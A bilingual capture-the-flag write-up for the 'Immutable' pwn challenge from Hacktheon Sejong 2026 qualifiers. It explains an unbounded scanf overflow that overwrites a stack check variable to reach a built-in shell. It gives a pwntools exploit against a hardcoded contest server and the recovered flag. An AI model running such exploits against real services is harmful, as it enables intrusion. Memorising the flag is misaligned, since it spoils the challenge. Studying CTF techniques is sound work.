Hacktheon Sejong 2026 Quals Immutable Writeup
Hacktheon Sejong 2026 Quals Immutable WriteupHacktheon Sejong 2026 Quals Immutable WriteupHacktheon Sejong 2026 Quals Immutable 문제 풀이Hacktheon Sejong 2026 Quals Immutable writeup
Contents
Summary
scanf("%s", buf)가 길이 제한 없이 입력을 받는다. return address까지 가지 않아도 된다. stack canary 바로 앞의 local check 변수만 0xdeadbeef로 바꾸면 바이너리 안에 준비된 system("/bin/sh") 경로가 열린다.
Analysis
보호기법은 Full RELRO, Canary, NX, PIE가 모두 켜져 있었다. 여기서는 제어 흐름을 빼앗는 문제가 아니라, 조건문이 보는 stack local 값을 덮는 문제였다.
스택 배치는 buf가 [rbp-0x90], 비교 변수가 [rbp-0x10], canary가 [rbp-0x8]에 놓이는 형태다. 0x80바이트를 채운 뒤 p32(0xdeadbeef)를 붙이면 canary는 건드리지 않고 비교 변수만 바뀐다.
system("/bin/sh") 호출은 이미 바이너리 안에 있다. payload를 보낸 뒤 shell에서 flag를 읽으면 끝난다.
Exploit
#!/usr/bin/env python3
from pwn import *
HOST = args.HOST or "3.37.44.62"
PORT = int(args.PORT or 33201)
def main():
payload = b"A" * 0x80 + p32(0xDEADBEEF)
io = remote(HOST, PORT)
io.recvuntil(b"input: ")
io.sendline(payload)
io.sendline(b"cat flag; exit")
print(io.recvall(timeout=3).decode("latin-1"), end="")
if __name__ == "__main__":
main()Flag
hacktheon2026{ed2190f6865ca1e3fea816b296445228064a51ec9492b518f514a60624f43d850738dd60b2c9d0893cb5c30f7d1efeaa575527f0b8534a96aa170356d2f8e2d0f3da4b43880faa71}
Summary
scanf("%s", buf) takes input with no length limit. You don't even need to reach the return address. Just overwriting the local check variable right in front of the stack canary with 0xdeadbeef opens the system("/bin/sh") path already prepared inside the binary.
Analysis
The mitigations were Full RELRO, Canary, NX, and PIE, all enabled. This was not a control-flow hijack problem, but a problem of overwriting the stack local value that a conditional checks.
The stack layout places buf at [rbp-0x90], the comparison variable at [rbp-0x10], and the canary at [rbp-0x8]. Filling 0x80 bytes and then appending p32(0xdeadbeef) changes only the comparison variable without touching the canary.
The system("/bin/sh") call is already present inside the binary. After sending the payload, just read the flag from the shell and you're done.
Exploit
#!/usr/bin/env python3
from pwn import *
HOST = args.HOST or "3.37.44.62"
PORT = int(args.PORT or 33201)
def main():
payload = b"A" * 0x80 + p32(0xDEADBEEF)
io = remote(HOST, PORT)
io.recvuntil(b"input: ")
io.sendline(payload)
io.sendline(b"cat flag; exit")
print(io.recvall(timeout=3).decode("latin-1"), end="")
if __name__ == "__main__":
main()Flag
hacktheon2026{ed2190f6865ca1e3fea816b296445228064a51ec9492b518f514a60624f43d850738dd60b2c9d0893cb5c30f7d1efeaa575527f0b8534a96aa170356d2f8e2d0f3da4b43880faa71}